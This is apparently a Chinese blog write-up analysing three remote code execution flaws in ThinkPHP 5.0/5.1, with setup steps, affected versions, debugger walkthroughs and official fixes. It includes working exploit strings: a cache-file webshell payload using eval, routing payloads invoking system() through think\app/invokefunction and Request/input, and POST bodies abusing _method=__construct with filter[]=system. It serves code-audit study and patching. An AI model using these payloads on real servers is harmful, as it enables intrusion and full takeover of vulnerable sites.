还是先上七月火师傅的文章:ThinkPHP
环境搭建,按版本自行搭建,测试版本在漏洞分析处,只需修改 composer.json
,5.0 和 5.1 不能直接composer
# v5.0.x
composer create-project --prefer-dist topthink/think=5.0.15 tpdemo
将 composer.json 文件的 require 字段设置成如下:
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.15"
}
然后执行 composer update
# v5.1.x
composer create-project --prefer-dist topthink/think tpdemo
将 composer.json 文件的 require 字段设置成如下:
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.7"
}
然后执行 composer update
[TOC]
RCE 1 (缓存写马)
这个比较鸡肋,不过还是分析分析,从简单的开始嘛
漏洞概述
网站通常使用缓存来减小服务器压力,而 thinkphp 在缓存时没有对缓存内容进行检测、过滤且将缓存存在 php 文件中,这就导致攻击者可以构造特殊的缓存内容来控制整个服务器
漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10
利用条件
之所以说它鸡肋就是因为条件太多了。。。
- 站点能列出缓存文件,知道马子路径
- 缓存目录需暴露在 web 目录下,可访问
- 程序采用默认情况,一旦修改 key 或 设置
this->options['prefix']
且没有源码参考那就直接嗝屁 - 。。。
漏洞利用
POC:http://127.0.0.1/PHPSec/tp5.0/public/?username=mochazz123%0d%0a@eval($_GET[_]);//
漏洞分析
测试版本:5.0.10
看 v5.0.11 releases 说明:包含了一个安全更新。接着看 commit ,找到 改进缓存驱动,此改进直接加上了退出死亡函数,没法利用了
打上断点开始吧
由于 Cache::set("name",input("get.username"));
未实例化,所以开局会有 Loder.php
的自动加载机制,可以不用看
接着来到助手函数,helper.php
的 input()
来获取原始数据,然后是 Request.php
的 get()
方法来获取 get 传入的值
然后 input()
解析、强制转换数据,直接跳了。这就到了~ Cache.php
的 set()
写缓存set()
前的初始化
跟进去,这里是根据配置来选择不同的缓存操作,默认情况下是缓存 file
第 72 行跟进去,看看 connect()
,寻找要缓存的驱动并在断点处( 51 行)进行实例化,由自动加载器完成
初始化结束后开始写缓存,首先设置缓存有效期,然后进入 getCacheKey($name)
构造缓存文件名
参数值默认为 name
,第一个红框取 md5 加密后的 name 前两位为子目录后面为文件名,如果设置了 $this->options['prefix']
,还会在默认缓存目录前再多一个父目录
在 147 行,由于默认的 $this->options['data_compress']
为 false
所以数据并不会被压缩,原样拼接到 data
里面,然后写入文件,至此缓存写马完成
漏洞修复
- 官方修复直接加上了死亡退出
- 或者在
thinkphp\library\think\cache\driver\File.php -> public function set($name, $value, $expire = null)
方法中加上$data = str_replace(PHP_EOL, ”, $data);
去除换行符以达到不可绕过 - 限制目录访问,使得缓存目录不可达
- 。。。
RCE 2 (未开启强制路由导致 RCE )
昨天写的似乎没保存。。。今天重写。
推荐参考:tp5 poc 从0到1–水泡泡
漏洞概述
本次漏洞是由于 ThinkPHP 底层未对控制器名进行很好的检测导致在未开启强制路由的情况下可以调用任意类及方法
漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30
漏洞利用
这个利用就多了
5.1.x :
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x :
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
两个大版本因加载类不同,payload也会有所不同:
ThinkPHP 5.1.x ThinkPHP 5.0.x
stdClass stdClass
Exception Exception
ErrorException ErrorException
Closure Closure
Generator Generator
DateTime DateTime
DateTimeImmutable DateTimeImmutable
DateTimeZone DateTimeZone
DateInterval DateInterval
DatePeriod DatePeriod
LibXMLError LibXMLError
DOMException DOMException
DOMStringList DOMStringList
DOMNameList DOMNameList
DOMImplementationList DOMImplementationList
DOMImplementationSource DOMImplementationSource
DOMImplementation DOMImplementation
DOMNode DOMNode
DOMNameSpaceNode DOMNameSpaceNode
DOMDocumentFragment DOMDocumentFragment
DOMDocument DOMDocument
DOMNodeList DOMNodeList
DOMNamedNodeMap DOMNamedNodeMap
DOMCharacterData DOMCharacterData
DOMAttr DOMAttr
DOMElement DOMElement
DOMText DOMText
DOMComment DOMComment
DOMTypeinfo DOMTypeinfo
DOMUserDataHandler DOMUserDataHandler
DOMDomError DOMDomError
DOMErrorHandler DOMErrorHandler
DOMLocator DOMLocator
DOMConfiguration DOMConfiguration
DOMCdataSection DOMCdataSection
DOMDocumentType DOMDocumentType
DOMNotation DOMNotation
DOMEntity DOMEntity
DOMEntityReference DOMEntityReference
DOMProcessingInstruction DOMProcessingInstruction
DOMStringExtend DOMStringExtend
DOMXPath DOMXPath
finfo finfo
LogicException LogicException
BadFunctionCallException BadFunctionCallException
BadMethodCallException BadMethodCallException
DomainException DomainException
InvalidArgumentException InvalidArgumentException
LengthException LengthException
OutOfRangeException OutOfRangeException
RuntimeException RuntimeException
OutOfBoundsException OutOfBoundsException
OverflowException OverflowException
RangeException RangeException
UnderflowException UnderflowException
UnexpectedValueException UnexpectedValueException
RecursiveIteratorIterator RecursiveIteratorIterator
IteratorIterator IteratorIterator
FilterIterator FilterIterator
RecursiveFilterIterator RecursiveFilterIterator
CallbackFilterIterator CallbackFilterIterator
RecursiveCallbackFilterIterator RecursiveCallbackFilterIterator
ParentIterator ParentIterator
LimitIterator LimitIterator
CachingIterator CachingIterator
RecursiveCachingIterator RecursiveCachingIterator
NoRewindIterator NoRewindIterator
AppendIterator AppendIterator
InfiniteIterator InfiniteIterator
RegexIterator RegexIterator
RecursiveRegexIterator RecursiveRegexIterator
EmptyIterator EmptyIterator
RecursiveTreeIterator RecursiveTreeIterator
ArrayObject ArrayObject
ArrayIterator ArrayIterator
RecursiveArrayIterator RecursiveArrayIterator
SplFileInfo SplFileInfo
DirectoryIterator DirectoryIterator
FilesystemIterator FilesystemIterator
RecursiveDirectoryIterator RecursiveDirectoryIterator
GlobIterator GlobIterator
SplFileObject SplFileObject
SplTempFileObject SplTempFileObject
SplDoublyLinkedList SplDoublyLinkedList
SplQueue SplQueue
SplStack SplStack
SplHeap SplHeap
SplMinHeap SplMinHeap
SplMaxHeap SplMaxHeap
SplPriorityQueue SplPriorityQueue
SplFixedArray SplFixedArray
SplObjectStorage SplObjectStorage
MultipleIterator MultipleIterator
SessionHandler SessionHandler
ReflectionException ReflectionException
Reflection Reflection
ReflectionFunctionAbstract ReflectionFunctionAbstract
ReflectionFunction ReflectionFunction
ReflectionParameter ReflectionParameter
ReflectionMethod ReflectionMethod
ReflectionClass ReflectionClass
ReflectionObject ReflectionObject
ReflectionProperty ReflectionProperty
ReflectionExtension ReflectionExtension
ReflectionZendExtension ReflectionZendExtension
__PHP_Incomplete_Class __PHP_Incomplete_Class
php_user_filter php_user_filter
Directory Directory
SimpleXMLElement SimpleXMLElement
SimpleXMLIterator SimpleXMLIterator
SoapClient SoapClient
SoapVar SoapVar
SoapServer SoapServer
SoapFault SoapFault
SoapParam SoapParam
SoapHeader SoapHeader
PharException PharException
Phar Phar
PharData PharData
PharFileInfo PharFileInfo
XMLReader XMLReader
XMLWriter XMLWriter
ZipArchive ZipArchive
PDOException PDOException
PDO PDO
PDOStatement PDOStatement
PDORow PDORow
CURLFile CURLFile
Collator Collator
NumberFormatter NumberFormatter
Normalizer Normalizer
Locale Locale
MessageFormatter MessageFormatter
IntlDateFormatter IntlDateFormatter
ResourceBundle ResourceBundle
Transliterator Transliterator
IntlTimeZone IntlTimeZone
IntlCalendar IntlCalendar
IntlGregorianCalendar IntlGregorianCalendar
Spoofchecker Spoofchecker
IntlException IntlException
IntlIterator IntlIterator
IntlBreakIterator IntlBreakIterator
IntlRuleBasedBreakIterator IntlRuleBasedBreakIterator
IntlCodePointBreakIterator IntlCodePointBreakIterator
IntlPartsIterator IntlPartsIterator
UConverter UConverter
JsonIncrementalParser JsonIncrementalParser
mysqli_sql_exception mysqli_sql_exception
mysqli_driver mysqli_driver
mysqli mysqli
mysqli_warning mysqli_warning
mysqli_result mysqli_result
mysqli_stmt mysqli_stmt
Composer\Autoload\ComposerStaticInit81a0c33d33d83a86fdd976e2aff753d9 Composer\Autoload\ComposerStaticInit8a67cf04fc9c0db5b85a9d897c12a44c
think\Loader think\Loader
think\Error think\Error
think\Container think\Config
think\App think\App
think\Env think\Request
think\Config think\Hook
think\Hook think\Env
think\Facade think\Lang
think\facade\Env think\Log
env think\Route
think\Db
think\Lang
think\Request
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Log
think\log\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File
漏洞分析
测试版本:5.1.30
本次环境是 tp 5.1.30,所以去看看 5.1.31 的 releases 说明及 commit
除了数字字母都不能进去。然后看看官方公众号发的更新说明,更新后的版本是 V5.1.31 和 V5.0.23,这次复现也去看前面的版本
本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的
getshell
漏洞,受影响的版本包括5.0
和5.1
版本,推荐尽快更新到最新版本。如果暂时无法更新到最新版本,请开启强制路由
这次也是先不跟 poc,先用正常的路由跟进去看看是怎么个情况。在 commit 更新处打上断点,新增控制器:A.php
(大写)
<?php
namespace app\index\controller;
use think\Cache;
class A
{
public function b()
{
return "Welcome!";
}
}
然后访问 http://127.0.0.1/PHPSec/tpdemo/public/index.php/index/a/b
(方便分析),命中断点
一路跟下来,来到 App.php
的 432 行(第一次会跳过),跟进 run()
来到关键点: exec()
,跟进
在实例化容器处跟进
继续跟 parseModuleAndClass()
解析模块,如果含有 \
则直接返回,本次没有反斜杠,来到 653 行,跟进 parseClass()
跟进 parseName()
parseName()
将字符串转为 驼峰命名
接着将 命名空间与模块名拼接返回
然后就是判断类是否存在,并加载它
能看出来,整个过程没有检测路径,可以考虑到任意类加载
直接访问 http://127.0.0.1/PHPSec/tpdemo/public/index.php/index/think\app/index
,chrome会将反斜杠转为正斜杠,因为这是Windows文件路径的作用,且RFC 2396根本不允许URL中使用该字符(因此,与该字符有关的任何行为都只是错误恢复行为)。
那不就没办法加载其他类了?nonono,看 tp 配置文件,默认未开启强制路由
所以可以这样:http://127.0.0.1/PHPSec/tpdemo/public/index.php/?s=/index/think\app/index
,成功加载了 think\App
类
所以此漏洞可以利用命名空间调用任意类,形如:http://127.0.0.1/PHPSec/tpdemo/public/index.php?s=/index/namespace\class/method
payload:http://127.0.0.1/PHPSec/tpdemo/public/index.php/?s=index/\think\Request/input&filter[]=system&data=whoami
一路跟下来关键点在 \thinkphp\library\think\route\dispatch\Module.php!exec()
第135 行 $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
此处反射调用
跟进去
然后在 thinkphp\library\think\Request.php!input()
第1376 行进行过滤
过滤调用了我们指定的 system()
,达到想要的结果
攻击总结:
漏洞修复
增加正则表达式 ^[A-Za-z](\w)*$
,对控制器名进行合法性检测
参考
[漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录
RCE 3 ( 核心类 Request 变量覆盖导致 RCE )
漏洞概述
本次漏洞是由于 ThinkPHP 底层未对控制器名进行很好的检测导致在未开启强制路由的情况下可以调用任意类及方法
漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30
漏洞利用
5.0.13 的未验证
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=whoami
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
漏洞分析
测试版本:5.0.23
本次版本是 5.0.23,所以去看看 5.0.24 releases 的说明,接着去看其 commit ,发现 改进Request类 的改动,增加了对 $method
的判断
开启 app_debug
上一个 POC 跟着调试一波 url:http://127.0.0.1/PHPSec/tp5.0/public/index.php
,POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
,在代码改动处打上断点
命中断点,跟进
来到 poc 的 构造函数,此处判断属性是否存在然后直接覆盖变量
一路走到 App.php!run()
的126 行,记录路由和请求信息处,跟进$request->param()
在跟进 method()
继续跟 server()
这里最后调用了 input()
跟进来后发现只有执行的命令,执行命令的函数没了,别急,接着往下走
重点就在这一段,先跟 getFilter()
获取过滤器名
在 1064 行由于 filter 原本是空的所以赋值为我们开始时构造函数覆盖的变量,也就是 system
然后来到 1034 行:$this->filterValue($data, $name, $filter);
,跟进去,成功执行命令
总结攻击流程:
未开启 app_debug
如果 poc 返回 404 的话应该是没安装验证码模块,执行
composer require topthink/think-captcha=1.*
即可
POC:http://127.0.0.1/PHPSec/tp5.0/public/?s=captcha
POST:_method=__construct&filter[]=system&method=get&get[]=whoami
看调用堆栈,后面和开启 debug 一样,不多哔哔,不同的是前面触发点是在 App.php!run() --> exec()
现在的问题是怎么把 $dispatch['type']
的值 为 controller/method
,向上回溯可以发现 $dispatch
在 App.php
的 116 行赋值,跟进去
然后在 648 行检测路由处跟进
然后到 Route.php!check()
的 887 行,路由规则检测 跟进
964 行 checkRule()
1203 行 parseRule()
这个函数里的判断直接定义了 type
的值,$route
里面是有 反斜杠 的,所以进到第三个分支里面
那第四个怎么进去呢?ThinkPHP5 中支持 5种 路由地址方式定义:
定义方式 定义格式 方式1:路由到模块/控制器 ‘[模块/控制器/操作]?额外参数1=值1&额外参数2=值2…’ 方式2:路由到重定向地址 ‘外部地址’(默认301重定向) 或者 [‘外部地址’,’重定向代码’] 方式3:路由到控制器的方法 ‘@[模块/控制器/]操作’ 方式4:路由到类的方法 ‘\完整的命名空间类::静态方法’ 或者 ‘\完整的命名空间类@动态方法’ 方式5:路由到闭包函数 闭包函数定义(支持参数传入) 捣鼓一会发现都失败了。。。菜如狗
安装验证码模块之后,在 vendor\topthink\think-captcha\src\helper.php
中定义了 验证码 的路由。程序初始化会自动加载 vendor
目录下的文件,所以可以直接利用这个路由进到第三个 if 里面
漏洞修复
对请求方法 $method 进行白名单校验,其只能为 ['GET', 'POST', 'DELETE', 'PUT', 'PATCH']
中的一个
总结
三个 RCE 分析下来很舒服,可以直接感受到 代码审计 的魅力,也很敬佩前辈写的 POC 及分析文章,实在巧妙,而我只会 tql